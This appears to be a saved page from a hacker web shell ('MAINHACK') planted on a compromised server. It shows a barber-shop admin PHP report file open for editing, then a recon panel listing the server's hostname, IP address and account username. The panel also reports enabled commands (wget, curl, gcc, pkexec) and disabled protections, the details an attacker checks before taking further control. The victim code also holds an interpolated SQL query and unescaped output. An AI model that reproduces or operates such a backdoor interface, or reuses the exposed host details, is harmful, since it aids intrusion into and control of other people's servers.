[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: customer_report.php
<?php include("../admin/includes/functions/functions.php");?> <?php include("../admin/db/db.php");?> <?php if(!isset($_SESSION['username_Xw211qAAsq4'])) { header('Location: ../auth/'); exit(); } else{ $pageTitle1 = 'Customer Report'; $shopname = $_SESSION['business_name_Xw211qAAsq4']; $currency = mysqli_query($new,"SELECT currency from barber_admin WHERE business_name = '$shopname'"); $fechC = mysqli_fetch_array($currency); $qurtyCurrency = $fechC['currency']; if(isset($_POST['god'])){ $fdate= test_input($_POST['fdate']); $tdate= test_input($_POST['tdate']); $newF = date("Y-m-d", strtotime($fdate)); $newT = date("Y-m-d", strtotime($tdate)); } } ?> <!DOCTYPE html> <html lang="en"> <head> <meta charset="utf-8" /> <title> <?php echo $shopname;?> || <?php echo $pageTitle1;?></title> <meta charset="utf-8" /> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <meta http-equiv="X-UA-Compatible" content="IE=edge" /> <!-- App favicon --> <link rel="shortcut icon" href="../assets/icon.png" type="image/x-icon"> <link rel="icon" href="../assets/icon.png" type="image/x-icon"> <script src="https://cdnjs.cloudflare.com/ajax/libs/chosen/1.5.1/chosen.jquery.min.js"></script> <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/chosen/1.5.1/chosen.min.css"> <!-- App css --> <link href="assets/css/bootstrap.min.css" rel="stylesheet" type="text/css" /> <link href="assets/css/icons.min.css" rel="stylesheet" type="text/css" /> <link href="assets/css/theme.min.css" rel="stylesheet" type="text/css" /> <style type="text/css"> .table-hover tbody tr:hover td, .table-hover tbody tr:hover th { background-color: #e6ecff; } </style> <style> #preloader { position: fixed; top: 0; left: 0; width: 100%; height: 100%; z-index: 9999; background-color: #fff; } #loader { display: block; position: absolute; top: 50%; left: 50%; border: 16px solid #f3f3f3; border-top: 16px solid #3498db; border-radius: 50%; width: 70px; height: 70px; animation: spin 2s linear infinite; } .table-hover tbody tr:hover td, .table-hover tbody tr:hover th { background-color: #e6ecff; } </style> <style type="text/css"> .order-card { color: #fff; } .bg-c-blue { background: linear-gradient(45deg,#4099ff,#73b4ff); } .bg-c-green { background: linear-gradient(45deg,#2ed8b6,#59e0c5); } .bg-c-yellow { background: linear-gradient(45deg,#FFB64D,#ffcb80); } .bg-c-pink { background: linear-gradient(45deg,#FF5370,#ff869a); } .card { border-radius: 5px; -webkit-box-shadow: 0 1px 2.94px 0.06px rgba(4,26,55,0.16); box-shadow: 0 1px 2.94px 0.06px rgba(4,26,55,0.16); border: none; margin-bottom: 30px; -webkit-transition: all 0.3s ease-in-out; transition: all 0.3s ease-in-out; } .card .card-block { padding: 25px; } .order-card i { font-size: 26px; } .f-left { float: left; } .f-right { float: right; } </style> </head> <body> <div id="preloader"> <div id="loader"></div> </div> <!-- Begin page --> <div id="layout-wrapper"> <div class="header-border"></div> <?php include("includes/template/head.php");?> <?php include("includes/template/side.php");?> <div class="main-content"> <div class="page-content"> <div class="container-fluid"> <div class="row"> <div class="col-12"> <div class="card"> <div class="card-body"> <form method="POST" class="form-inline" > <div class="col-md-3"> <label>Search from this Date</label> <div class="form-group"> <input type="date" class="form-control date" name="fdate" style="width:100%"> </div> </div> <div class="col-md-3"> <label>To that Date</label> <div class="form-group"> <input type="date" class="form-control date" name="tdate" style="width:100%"> </div> </div> <div class="col-md-3"> <label>Select customer</label> <div class="form-group"> <?php $stmt = $con->prepare("SELECT * FROM clients WHERE business_name = ? order by first_name,last_name ASC "); $stmt->execute(array($shopname)); $rows_categories = $stmt->fetchAll(); ?> <select name="employee_id" class="form-control customer_idd" required> <option value="">Select Customer</option> <?php foreach($rows_categories as $employee) { echo "<option value = '".$employee['client_id']."'>"; echo $employee['first_name'].' '.$employee['last_name']; echo "</option>"; } ?> </select> </div> </div> <div class="col-md-2"> <div class="md-form"> <label>Click to search</label> <button type="submit" name="emp" class="btn btn-primary" style="width:100%"> Search</button> </div> </div> </form> <div class="table-responsive"> <table class="table table-bordered"> <thead> <tr> <th style="width:28%">Services</th> <th>Total</th> <th style="width:15%">Discount rate(%)</th> <th>Commission</th> <th>Net income</th> <th>Client name</th> <th>Payment</th> </tr> </thead> <tbody> <?php if(isset($_POST['emp'])){ $tdate = test_input($_POST['fdate']); $Tdate = test_input($_POST['tdate']); $employee_id = test_input($_POST['employee_id']); $newF = date("Y-m-d", strtotime($tdate)); $newT = date("Y-m-d", strtotime($Tdate)); // $stmt = $con->prepare("SELECT * FROM appointments a ,clients c WHERE // a.client_id = c.client_id AND a.canceled = 0 and a.active = 'Yes' and a.client_id = // '$employee_id' and a.created between '$newF' and '$newT' and a.business_name = ? "); // $stmt->execute(array($shopname)); $stmt = $con->prepare(" SELECT a.*, c.* FROM appointments a JOIN clients c ON a.client_id = c.client_id WHERE a.canceled = 0 AND a.active = 'Yes' AND a.client_id = ? AND a.created BETWEEN ? AND ? AND a.business_name = ?"); $stmt->execute(array($employee_id, $newF, $newT, $shopname)); $rows = $stmt->fetchAll(); $count = $stmt->rowCount(); foreach($rows as $service){ ?> <td style="width:25%"> <?php // $stmtServices = $con->prepare("SELECT service_name,price from services s, true_price sb where s.service_id = sb.service_id and sb.appointment_id = ?"); // $stmtServices->execute(array($service['appointment_id'])); // $stmtServices->execute(array($service['appointment_id'])); $stmtServices = $con->prepare(" SELECT s.service_name, sb.price FROM services s JOIN true_price sb ON s.service_id = sb.service_id WHERE sb.appointment_id = ? "); $stmtServices->execute(array($service['appointment_id'])); $rowsServices = $stmtServices->fetchAll(); foreach($rowsServices as $rowsService) { echo "-".$rowsService['service_name'].'-'.$rowsService['price']; if (next($rowsServices)==true) echo " <br> "; } echo "<br>"; echo '-'.$service['date_created']; ?></td> <td><?php // $stmtServices = $con->prepare("SELECT service_name,sum(price) as price from services s, true_price sb where s.service_id = sb.service_id and sb.appointment_id = ?"); // $stmtServices->execute(array($service['appointment_id'])); // $rowsServices = $stmtServices->fetchAll(); // Prepare the SQL statement $stmtServices = $con->prepare(" SELECT s.service_name, SUM(sb.price) AS price FROM services s JOIN true_price sb ON s.service_id = sb.service_id WHERE sb.appointment_id = ? GROUP BY s.service_name "); // Execute the statement with the bound parameter $stmtServices->execute(array($service['appointment_id'])); // Fetch all the resulting rows $rowsServices = $stmtServices->fetchAll(); foreach($rowsServices as $rowsService) { if ($rowsServices ==true) echo $tt =$rowsService['price']; $percentage = $service['comRate']; $commission = ($percentage / 100) * $tt ; $grossw = $tt-$commission; } $grossTotal = number_format($grossw,2); ?></td> <td class="py-0 px-1"> <small>Discount: <?php if(empty($service['discount'])){ echo '0.00'. '%'; } else { echo $service['discount'].' %'; }?></small><br> <small>Disc Amt: <?php $dds = $service['discount']; $Disc = ($dds / 100) * $tt; $afterDis = $tt-$Disc; echo number_format($Disc,2).' '.$qurtyCurrency; $totalDis+= $Disc; ?> </small><br > <small>After Disc: <?php echo number_format($afterDis,2).' '.$qurtyCurrency; ?> </small> </td> <?php // $newstm = $con->prepare("SELECT service_name,sum(price) as price from services s, true_price sb,appointments a where s.service_id = sb.service_id and sb.appointment_id = a.appointment_id and a.canceled = '0' and a.active = 'Yes' and a.client_id = '$employee_id' and a.created between '$newF' and '$newT' and a.business_name = ? "); // $newstm->execute(array($shopname)); // Prepare the SQL statement $newstm = $con->prepare(" SELECT s.service_name, SUM(sb.price) AS price FROM services s JOIN true_price sb ON s.service_id = sb.service_id JOIN appointments a ON sb.appointment_id = a.appointment_id WHERE a.canceled = '0' AND a.active = 'Yes' AND a.client_id = ? AND a.created BETWEEN ? AND ? AND a.business_name = ? GROUP BY s.service_name "); // Execute the statement with the bound parameters $newstm->execute(array($employee_id, $newF, $newT, $shopname)); $newservice = $newstm->fetchAll(); foreach($newservice as $newrow) { if($newservice ==true) $tt1 =$newrow['price']; $percentage = $service['comRate']; $commission = ($percentage / 100) * $tt1 ; $gross = $tt1 - $commission; $todays = number_format($gross,2); } ?> <td class="py-0 px-1"> <small>Comm Rate : <?php echo $percentage.' %';?></small><br> <small>Comm Amt: <?php $commission = ($percentage / 100) * $afterDis; echo number_format($commission,2).' '.$qurtyCurrency; $totalCom+= $commission; ?> </small> </td> <td><?php echo $prof= number_format($afterDis-$commission,2); $proof+= $afterDis - $commission; ?></td> <td> <?php // $stmtEmployees = $con->prepare("SELECT c.first_name as cfname,c.last_name as clname FROM employees c, appointments a WHERE c.employee_id = a.employee_id AND a.client_id = '$employee_id' and a.appointment_id = ?"); // $stmtEmployees->execute(array($service['appointment_id'])); // $rowsEmployees = $stmtEmployees->fetchAll(); $stmtEmployees = $con->prepare(" SELECT c.first_name AS cfname, c.last_name AS clname FROM employees c JOIN appointments a ON c.employee_id = a.employee_id WHERE a.client_id = ? AND a.appointment_id = ? "); $stmtEmployees->execute(array($employee_id, $service['appointment_id'])); $rowsEmployees = $stmtEmployees->fetchAll(); foreach($rowsEmployees as $CLIENT) { ?> <?php echo $CLIENT['cfname']." ".$CLIENT['clname'];?> </td> <td><?php echo $service['payment_mode'];?></td> </tr> <?php } } } ?> <tr> <th scope="row"></th> <th scope="row"></th> <td>Total <b><?php echo number_format($totalDis,2).' '.$qurtyCurrency;?></b></td> <td>Total <b><?php echo number_format($totalCom,2).' '.$qurtyCurrency;?></b></td> <td>Total <b><?php echo number_format($proof,2).' '.$qurtyCurrency;?></b></td> <td></td> </tr> <?php $stmt = $con->prepare("SELECT * FROM clients WHERE client_id = ?"); $stmt->execute(array($employee_id)); $rows_categories = $stmt->fetchAll(); foreach($rows_categories as $employee){ $name = $employee['first_name'].' '.$employee['last_name']; } ?> <center> <br /><br /> <h5>Client name : <?php echo $name;?><br/> Date : <b><?php echo $newF;?> From <?php echo $newT;?></b> </h5> </center> </tbody> </table> </div> </div> </div> </div> </div> </div> <!-- container-fluid --> </div> <!-- End Page-content --> <?php include("includes/template/newfooter.php");?> </div> <!-- end main content--> </div> <!-- END layout-wrapper --> <!-- Overlay--> <div class="menu-overlay"></div> <?php include("includes/modals/ServicesModal.php");?> <script src="assets/js/jquery.min.js"></script> <script src="assets/js/bootstrap.bundle.min.js"></script> <script src="assets/js/metismenu.min.js"></script> <script src="assets/js/waves.js"></script> <script src="assets/js/simplebar.min.js"></script> <script src="plugins/raphael/raphael.min.js"></script> <script src="assets/pages/dashboard-demo.js"></script> <script src="assets/js/theme.js"></script> <script src="plugins/autonumeric/autoNumeric-min.js"></script> <script src="plugins/bootstrap-datepicker/bootstrap-datepicker.min.js"></script> <script src="plugins/daterangepicker/daterangepicker.js"></script> <script src="plugins/bootstrap-maxlength/bootstrap-maxlength.min.js"></script> <script src="plugins/moment/moment.js"></script> <script src="plugins/daterangepicker/daterangepicker.js"></script> <script src="plugins/select2/select2.min.js"></script> <script src="plugins/switchery/switchery.min.js"></script> <script src="plugins/bootstrap-colorpicker/bootstrap-colorpicker.min.js"></script> <script src="plugins/bootstrap-touchspin/jquery.bootstrap-touchspin.min.js"></script> <!-- Custom Js --> <script src="assets/pages/advanced-plugins-demo.js"></script> <script src="assets/pages/datatables-demo.js"></script> <script type="text/javascript"> document.onreadystatechange = function() { if (document.readyState !== "complete") { document.querySelector("#preloader").style.display = "block"; } else { document.querySelector("#preloader").style.display = "none"; } }; </script> <script type="text/javascript"> $(document).ready(function(){ $(".customer_idd").chosen(); }); </script> <!-- jQuery --> </body> </html>
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.81 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002